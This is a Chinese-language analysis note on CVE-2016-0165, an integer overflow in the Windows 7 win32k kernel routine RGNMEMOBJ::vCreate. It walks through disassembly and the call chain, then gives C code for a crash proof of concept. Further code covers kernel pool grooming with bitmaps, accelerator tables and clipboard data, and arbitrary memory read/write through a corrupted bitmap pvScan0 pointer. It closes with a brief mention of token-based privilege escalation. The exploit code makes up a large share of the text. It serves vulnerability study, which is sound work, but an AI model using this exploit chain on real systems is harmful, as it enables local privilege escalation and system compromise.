CVE-2016-0165 Win32k漏洞分析笔记
字数 1035 2025-08-05 13:25:32
CVE-2016-0165 Win32k漏洞分析与利用
漏洞概述
CVE-2016-0165是Windows内核组件win32k.sys中的一个整数溢出漏洞,位于RGNMEMOBJ::vCreate函数中。该漏洞由于在分配内核池内存块前未对计算的内存块大小参数进行溢出校验,导致可能分配到远小于预期大小的内存块,后续操作时可能触发缓冲区溢出,严重情况下可导致系统蓝屏(BSOD)。
漏洞环境配置
- 操作系统:Windows 7 x86 SP1
- 调试工具:WinDbg Preview 1.0.2001.02001
漏洞原理分析
漏洞定位
漏洞位于win32k!RGNMEMOBJ::vCreate函数中,关键问题在于内存分配前的整数运算未进行溢出检查:
.text:BF876200 loc_BF876200:
.text:BF876200 lea eax, [ebp+NumberOfBytes]
.text:BF876203 push eax ; unsigned int *
.text:BF876204 xor edi, edi
.text:BF876206 inc edi
.text:BF876207 push edi ; unsigned int
.text:BF876208 push [ebp+NumberOfBytes] ; unsigned int
.text:BF87620B call ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1
.text:BF876210 test eax, eax
.text:BF876212 jl loc_BF8763D2
.text:BF876218 mov eax, [ebp+NumberOfBytes] ; eax为被乘数
.text:BF87621B push 28h
.text:BF87621D pop ecx ; ecx为乘数
.text:BF87621E mul ecx ; mul reg32 的答案保存在edx:eax之中
.text:BF876220 lea ecx, [ebp+NumberOfBytes]
.text:BF876223 push ecx ; unsigned int *
.text:BF876224 push edx
.text:BF876225 push eax ; 结果保存在[ebp+NumberOfBytes]中
.text:BF876226 call _ULongLongToULong@12 ; ULongLongToULong(x,x,x)
.text:BF87622B test eax, eax
.text:BF87622D jl loc_BF8763D2
.text:BF876233 cmp [ebp+NumberOfBytes], 0
.text:BF876237 jz short loc_BF87624E
.text:BF876239 push 67646547h ; Tag
.text:BF87623E push [ebp+NumberOfBytes] ; NumberOfBytes
.text:BF876241 push 21h ; PoolType
.text:BF876243 call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
关键计算过程
内存分配大小计算公式:
[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28
其中NumberOfBytes来源于PATHOBJ结构的cCurves成员:
typedef struct _PATHOBJ {
FLONG fl;
ULONG cCurves; // 表示当前PATHOBJ对象的曲线数目
} PATHOBJ;
整数溢出条件
在32位系统中,ULONG最大值为0xFFFFFFFF。要触发整数溢出,需要满足:
0x28 * (cCurves + 1) > 0xFFFFFFFF
解得:
cCurves > 0x6666665
但由于EPATHOBJ::vCloseAllFigure函数会修改cCurves值,实际需要:
cCurves > 0x6666664
漏洞触发路径
调用链分析
-
用户层入口:
PolylineTo函数BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt) { return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4); } -
内核层调用:
NtGdiPolyPolyDraw→GrePolylineTo→EPATHOBJ::bPolyLineTo -
关键函数:
EPATHOBJ::bPolyLineTo会增加cCurves值int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount) { if ( EPATHOBJ::addpoints(this, a2, &v6) ) *(this + 1) += ulCount; // 增加cCurves值 } -
最终触发:
NtPathToRegion→RGNMEMOBJ::vCreate
限制条件
NtGdiPolyPolyDraw函数限制了单次调用的线条总数不超过0x4E2000,因此需要多次调用才能达到触发溢出的数量。
漏洞利用
基本POC构造
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
int main()
{
// 初始化点数组
for (LONG i = 0; i < maxCount; i++) {
point[i].x = i + 1;
point[i].y = i + 2;
}
HDC hdc = GetDC(NULL);
BeginPath(hdc);
// 分多次调用PolylineTo以达到所需线条数量
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) {
PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
EndPath(hdc);
HRGN hRgn = PathToRegion(hdc); // 触发漏洞
return 0;
}
内核内存布局
为了提高利用成功率,需要进行精确的内核内存布局:
-
创建大量位图对象:占用特定大小的内存块
for (LONG i = 0; i < 4000; i++) { hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL); // 0xF90大小 } -
创建加速器表对象:填充内存间隙
for (LONG i = 0; i < 5500; i++) { ACCEL acckey[0x0D] = { 0 }; hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D); // ~0x70大小 } -
释放部分对象:制造内存空洞
for (LONG i = 2000; i < 4000; i++) { DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; }
精确控制溢出
-
使用剪贴板数据作为垫片:
VOID CreateClipboard(DWORD Size) { PBYTE Buffer = (PBYTE)malloc(Size); HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, Size); CopyMemory(GlobalLock(hMem), Buffer, Size); GlobalUnlock(hMem); SetClipboardData(CF_TEXT, hMem); } // 创建垫片 for (LONG i = 0; i < 4000; i++) { CreateClipboard(0xB5C); // 0xB70大小 } -
创建可利用的位图对象:
for (LONG i = 0; i < 4000; i++) { hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL); // 0x420大小 }
定位受影响的位图
PDWORD pBmpHunted = (PDWORD)malloc(0x1000);
LONG index = -1;
for (LONG i = 0; i < 4000; i++) {
if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0) {
index = i; // 找到被覆盖的位图对象
break;
}
}
HBITMAP hbmpmain = hbitmap[index];
实现任意地址读写
通过控制主位图对象修改扩展位图对象的pvScan0指针:
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb) {
pBmpHunted[iExtpScan0] = addr; // 修改扩展位图的pvScan0
SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
SetBitmapBits(hBmpExtend, cb, pvBits); // 实现任意地址写
return TRUE;
}
提权利用
通过任意地址读写能力修改进程Token的权限标志位,实现权限提升。